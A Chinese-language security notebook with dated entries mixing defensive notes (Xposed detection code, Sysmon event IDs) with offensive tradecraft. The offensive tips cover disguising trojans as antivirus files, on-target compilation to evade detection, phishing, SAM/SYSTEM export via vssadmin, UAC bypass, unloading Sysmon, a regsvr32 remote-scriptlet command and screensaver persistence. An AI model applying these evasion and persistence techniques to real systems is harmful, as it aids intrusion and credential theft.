2 月
7 号:
docker 容器相关配置/日志存储位置 /var/lib/docker/containers
ELK 指的是 Elasticsearch、Logstash、Kibana三大开源框架,ES 数据库非关系型很容易理解,我们也经常用。Kibana 就是一个数据可视化工具。而其中的 LogStash 出现的目的是将日志传递到 Es 数据库中,可能比较困惑明明有那么多 API,可以让我们直接向 ES 里面写数据,为什么还需要 Logstash 呢?其实他的设计理念就是让我们专注于业务代码,少写 Log 记录逻辑,让原本就输入在终端的日志非侵入式的让 Logstash 帮我们写入 Es 数据库。
SOAP 的测试可以使用 Burp Suite 的 Wsdler 插件快速构造相应的 XML 请求包
8 号:
侥幸心理:如果木马是在某个盘下创建文件夹例如 D:/mytest/mytest.exe
即使通过 EDR 查看请求日志也会猜测是否为员工自己创建文件测试导致的误报。也可以自己新建一个类似于杀毒软件的目录,并把文件改名为杀毒软件的名字,由于杀毒软件正常情况下也会请求恶意的域名,因此告警信息可以迷惑防守方。
另外,我就说将 shellcode 注入到浏览器中,更会让人迷惑不已。
Word、Excel 文档可能遗留用户名、邮件信息,可溯源。
11 号
可以通过注册表的方式查询是否启用了某个宏,具体怎么做,自己搜
12 号
APP 如何判断是否被 Xposed hook。
xposed 框架要 Hook 一个函数,最先改变的就是这个函数的属性,由 java 函数变为了 native 函数。所以我们在判断一个函数是否被 xposed 框架 hook 的第一步就是判断其是否本应是一个 java 函数的函数被置为了 native 函数。
https://goodoak.github.io/2017/01/18/xposed-detect/
也可以通过堆栈调用
public static boolean isXposedInStackTrace() {
StackTraceElement[] stackTrace = Thread.currentThread().getStackTrace();
for (StackTraceElement element : stackTrace) {
if (element.getClassName().contains("de.robv.android.xposed")) {
return true;
}
}
return false;
}
13 号:
powershell 列举已经安装的 msi Get-WmiObject -Class Win32_Product
卸载命令:msiexec /x {}
14 号:
居然还有通过修改 C:\Windows\System32\drivers\etc\hosts
文件劫持域名解析与 C2 通信的手法,可以规避黑白名单?
mrt.exe
微软恶意软件删除工具,默认不会运行
18 号:
通常情况下,Windows 机器都会有 csc.exe
,例如 win7 和 win10 的路径为 C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
, 可以上传一个 cs 文件,在目标机器上面编译,删除源文件,再运行 pe(csc 不像 go 可以直接 go run,必须编译出来),由于是本机器编译,或许可以绕过某些检测,也可以考虑钓鱼。
无论使用什么钓鱼方式,运行完后的脚本一定要自删除。
20 号:
Windows 资源监视器真是一个排查进程网络连接的好工具 resmon.exe
,但还是没有记录历史的记录。只能处理事中。建议还是打开 Process Monitor
来捕获一下网络进程(需要等待)。
25 号:
vssadmin.exe
也可以替代 reg 导出 sam 和 system。
3 月
7 号:
使用 Advanced Installer 可以将 exe 等打包为 msi。
icacls.exe
是 Windows 系统中用于查看和修改文件、目录权限的命令行工具。
分配所有人对该 exe 执行、属性读取、删除子项、读取内容、写内容、修改、写属性等权限
icacls "rustup-init.exe" /deny *s-1-1-0:(x,ra,de,r,w,m,wa)
已处理的文件: rustup-init.exe
已成功处理 1 个文件; 处理 0 个文件时失败
一些木马会用,可能是为了持久化操作吧,但是实际上就是这里的 cmd 操作:
10 号:
CobaltStrike 的 C2 Profile 的 pipename 一定得修改!
EtwExplore 这个软件可以相对可视化的查看 ETW 日志。
11 号:
pyinstaller 打包的 PE 运行过程中会释放 dll 或 so,默认在 OS temp 目录。这可以是一个检测 pyinstaller 的特征,但是实际上攻击者可以修改释放路径。具体释放文件名/路径规则我没有深入研究。
12 号:
直到现在,rsrc 仍然是打包 Go PE 资源最合适的方法,例如请求管理员权限配置信息、ico 等。
FullEventLogView.exe 是很好的查看 Windows 日志的可视化工具,支持 XML 内容搜索
13 号:
OriginalFileName 是编译时的文件名,后续修改文件名这个内容一般改变不了,打包在了 resource 字段。
17 号:
chm 文件本身就是一个压缩包。可以编写相应的逻辑调用 hh.exe 解压并执行文件,通常有 ActiveXObject 警告。使用 HTML Help Workshop 可以打包一个 chm 文件,用于钓鱼。
可以通过 sysmon 的 ID 7 查看 image 的 Signed, Signature, SignatureStatus
字段,排查可疑项
dll 代理免杀效果良好
18 号:
绕过 UAC 的方法很多。有时间可以参考这个项目好好整理下:https://github.com/hfiref0x/UACME
sysmon 的 ID 12(删除)、13(值设置)、14(重命名) 与注册表相关,其中 details 字段可以显示一些详细信息,例如设置的值是 dword/qword 的具体数字、但二进制数据不可见。数据类型很多,有时候无法直观筛选。
19 号:
wmic 启动的进程居然是由 WmiPrvSE.exe 启动的。
ProcessHack:
impacket-wmiexec 留下的日志:
25 号:
判断机器上是否存在 Sysmon 相对简单。如果你是管理员权限,可以执行 fltmc.exe 查看是否存在 sysmon 的altitude 385201 号码。甚至可以直接卸载 fltmc unload FilterName
,但是会产生告警。如果不是管理员权限,则可以简单执行 dir %SystemRoot%\System32\Winevt\Logs\ | findstr /I Sysmon
查看是否存在这个文件。
Windows 终端命令执行混淆:https://github.com/danielbohannon/Invoke-DOSfuscation 然而绕不过 Sysmon 的 commandline 检测
31 号:
rundll32.exe DllName,FunctionName [Arguments]
regsvr32.exe /s /n /u /i:http://127.0.0.1/file.sct scrobj.dll
其实是通过 regsvr32 调用 scrobj.dll 的 DllInstall 函数,并且将 url 传递给这个函数。scrobj.dll 的该函数会尝试使用 VBA 引用该 URL 字符串的函数执行。
https://www.freebuf.com/column/224292.html
.sct文件扩展名可以指代几种不同的文件格式,但在 Windows 操作系统的上下文中,最常见的是“Windows Script Component”文件。这是一种用于封装脚本逻辑的文件格式,可以将多种脚本语言(如 VBScript 和 JScript)的代码编译成 COM(组件对象模型)组件。
4 月
1 号:
wsl 代理到本机端口可以使用这个项目:https://github.com/HobaiRiku/wsl2-auto-portproxy 在本机运行 wslpp.exe 即可
7 号:
大文件下载靠断点续传方式维持下载状态。https://zhuanlan.zhihu.com/p/20182657805
如 Range 头。
GET /largefile.zip HTTP/1.1
Host: example.com
Range: bytes=1000-
8 号:
SCR 后缀介绍:屏幕保护程序,实际就是 PE 文件
- 利用方式:攻击者可以通过执行由用户不活动触发的恶意内容来建立持久性。屏幕保护程序是在用户不活动一段可配置的时间后执行的程序,由可移植可执行 (PE) 文件组成,文件扩展名为 .scr。Windows 屏幕保护程序应用程序 scrnsave.scr 位于
C:\Windows\System32\
。如果你权限够,就可考虑替换,反正这个文件默认没有数字签名 - 也可以用于权限维持:https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1546.002/T1546.002.md 关键键值: “HKCU\Control Panel\Desktop”
PIF 后缀介绍:程序信息文件定义了给定 DOS 程序在多任务环境中的运行方式,特别是为了避免为其提供不必要的资源,而这些资源可能仍可供其他程序使用。由于缺乏 DOS 应用程序,如今 PIF 在软件中很少使用。
- 基于 DOS 的程序的程序信息文件是程序可执行文件的快捷方式。PIF 中保存的所有设置都包含在快捷方式中。
- 尽管 PIF 格式的文件不包含任何可执行代码(它缺少可执行文件“MZ”),但 Microsoft Windows 以相同的方式处理所有带有(伪)可执行文件扩展名的文件:所有 .COM、.EXE 和 .PIF 都由 ShellExecute 函数进行分析,并根据其内容而不是扩展名运行
14 号:
curl 命令记得加超时参数 --connect-timeout 5
,有些该死的可以命令执行的 Web 应用居然是靠单线程,curl 默认无限等待,然后这个 Web 应用就卡死了。权限也丢了。